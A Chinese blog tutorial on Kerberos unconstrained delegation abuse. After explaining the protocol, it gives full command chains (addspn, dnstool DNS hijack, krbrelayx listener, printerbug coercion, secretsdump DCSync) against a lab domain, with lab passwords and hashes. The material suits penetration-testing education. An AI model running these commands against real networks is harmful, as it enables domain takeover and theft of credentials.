利用Impacket滥用Kerberos委派(第一部分):无约束委派攻击详解

本文详细介绍了如何利用Impacket工具滥用Kerberos无约束委派进行Active Directory攻击,包括Kerberos协议原理、无约束委派滥用技术,以及具体的攻击步骤和命令示例。

利用Impacket滥用委派(第一部分):无约束委派

Kerberos协议

Kerberos是一种基于票据的身份验证协议,通过可信第三方建立双方信任,实现不安全环境中的安全通信。Kerberos需要三个参与方:

  • 客户端:请求访问资源的用户或系统
  • 服务器:客户端想要访问的目标资源
  • 密钥分发中心(KDC):负责验证用户身份并颁发票据的可信第三方

票据发放流程

Kerberos身份验证流程如下:

  1. 身份验证服务请求:客户端向KDC发送使用密码加密的身份验证请求
  2. 身份验证服务响应:如果KDC能用用户密码解密请求,则证明客户端身份。KDC响应返回使用KDC密钥加密的票据授予票据(TGT)
  3. 票据授予票据请求:客户端向KDC出示TGT,请求访问目标服务
  4. 票据授予票据响应:如果KDC能解密TGT,则证明客户端提供了有效的TGT。KDC响应返回使用目标服务密码加密的服务票据(ST)
  5. 服务票据请求:客户端将ST传递给目标服务请求访问。如果目标服务能解密服务票据,则证明票据有效

双跃点问题与委派

由于票据的构造方式,服务无法将客户端凭据转发到其他资源:它们只拥有使用自身密钥加密的服务票据。这种无法转发凭据的问题被称为Kerberos双跃点问题。

Microsoft引入了委派机制,允许一个服务将客户端凭据转发给另一个服务,使第一个服务能够代表客户端向第二个服务进行身份验证。Kerberos委派有三种形式:

  • 无约束委派:最早的委派形式。当客户端向配置了无约束委派的服务进行身份验证时,会同时传递TGT和ST,允许服务重用TGT以该用户身份向其他资源进行身份验证
  • 约束委派:为减轻无约束委派风险而引入。将委派限制到特定服务,并用S4U2Self和S4U2Proxy两个代理取代TGT转发
  • 基于资源的约束委派:与约束委派类似,但由目标资源定义允许哪些服务向其委派

无约束委派滥用技术

委派本质上是解决双跃点问题的特殊形式的冒充。需要注意的是,委派可以在域中的用户和计算机上进行配置。

要滥用无约束委派,必须首先攻破配置了无约束委派的用户或计算机。最终目标是获取特权用户/计算机的TGT——通常是域管理员——以攻破整个环境。

高级步骤包括:

  1. 攻破配置了无约束委派的用户或计算机
  2. 强制/诱使特权用户/计算机向我们攻破的无约束资源进行身份验证
  3. 使用获取的特权用户/计算机TGT攻破域控制器

1. 添加用户SPN和DNS条目,诱导向Kerberos监听器

假设我们已攻破用户kuduser(密码Password1!),该用户配置了无约束委派。

要在域中提升权限,首先需要向用户添加服务主体名称(SPN)和将SPN解析到攻击者IP地址的DNS条目。完成后,可以从特权用户/计算机获取TGT。

注意事项:默认情况下用户没有关联的SPN,因此需要有权添加自己的SPN,以便可以生成到我们用户的票据。这不是默认设置,但通常与数据库服务账户相关。此外还需要有权为添加的SPN添加DNS条目,这似乎是默认设置。

  1. 查找基于用户的无约束委派(kuduser)
1
impacket-findDelegation 'secure.local/kuduser':'Password1!' -dc-ip 10.0.1.200
  1. 如果没有SPN,向kuduser添加SPN (KUD.secure.local)
1
python3 addspn.py -u secure.local\\kuduser -p 'Password1!' -s host/KUD.secure.local --target-type samname 10.0.1.200
  1. (可选)验证SPN是否成功添加
1
pywerview get-netuser -d secure.local -u kuduser -p 'Password1!' -t 10.0.1.200 --unconstrained
  1. 添加将KUD.secure.local解析到攻击者IP 10.0.1.13的DNS条目
1
python3 dnstool.py -u secure.local\\kuduser -p 'Password1!' -r KUD.secure.local -a add -d 10.0.1.13 10.0.1.200
  1. 验证名称解析是否正确,可能需要几分钟
1
nslookup KUD.secure.local 10.0.1.200
  1. 使用kuduser的密码设置Kerberos监听器
1
python3 krbrelayx.py --krbsalt SECURE.LOCALkuduser --krbpass 'Password1!'
  1. 强制DC (10.0.1.200)向我们(KUD.secure.local)进行身份验证
1
python3 printerbug.py 'secure.local/kuduser':'Password1!'@10.0.1.200 KUD.secure.local
  1. 将票据导出到内存中
1
export KRB5CCNAME=DC01\$@SECURE.LOCAL_krbtgt@SECURE.LOCAL.ccache
  1. DC01$身份对DC01执行DCSync
1
impacket-secretsdump -k DC01.secure.local
  1. (清理)移除添加的DNS条目
1
python3 dnstool.py -u secure.local\\kuduser -p 'Password1!' -r KUD.secure.local -a remove -d 10.0.1.13 10.0.1.200
  1. (清理)移除添加的SPN(如果用户开始时没有SPN)
1
python3 addspn.py -u secure.local\\kuduser -p 'Password1!' -s host/KUD.secure.local --target-type samname 10.0.1.200 -r

2. 劫持计算机DNS条目,诱导向Kerberos监听器

假设我们已攻破计算机PC01$(NTLM哈希aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4),该计算机配置了无约束委派。

要在域中提升权限,首先需要修改PC01$的现有DNS条目,将其指向攻击者IP地址。完成后,可以从特权用户/计算机获取TGT。

与用户不同,计算机确实有关联的SPN,这意味着我们只需要修改PC01.secure.local的DNS条目指向我们的攻击机器。需要注意的是,这将暂时导致访问PC01的客户端遭受拒绝服务,因为所有流量现在将路由到我们。

  1. 查找基于计算机的无约束委派(PC01$)
1
impacket-findDelegation 'secure.local/kuduser':'Password1!' -dc-ip 10.0.1.200
  1. 添加将PC01.secure.local解析到攻击者IP 10.0.1.13的DNS条目
1
python3 dnstool.py -u 'secure.local\PC01$' -p 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -r PC01.secure.local -a modify -d 10.0.1.13 DC01 -dns-ip 10.0.1.200
  1. 验证名称解析是否正确,可能需要几分钟
1
nslookup PC01.secure.local 10.0.1.200
  1. 使用PC01$的NTLM哈希设置Kerberos监听器
1
python3 krbrelayx.py --krbsalt SECURE.LOCALPC01$ -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4'
  1. 强制DC (10.0.1.200)向我们(PC01.secure.local)进行身份验证
1
python3 printerbug.py 'secure.local/kuduser':'Password1!'@10.0.1.200 PC01.secure.local
  1. 将票据导出到内存中
1
export KRB5CCNAME=DC01\$@SECURE.LOCAL_krbtgt@SECURE.LOCAL.ccache
  1. DC01$身份对DC01执行DCSync
1
impacket-secretsdump -k DC01.secure.local
  1. (清理)恢复PC01.secure.local的原始DNS条目
1
python3 dnstool.py -u 'secure.local\PC01$' -p 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -r PC01.secure.local -a modify -d 10.0.1.201 DC01 -dns-ip 10.0.1.200

结论

无约束委派是一个解决Kerberos实际限制(双跃点问题)的巧妙功能。然而,由于通过转发TGT进行冒充的方式,如果无约束资源被攻破,攻击者可以轻松升级为域管理员。

接下来,我们将在未来的文章中讨论滥用约束委派和基于资源的约束委派!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计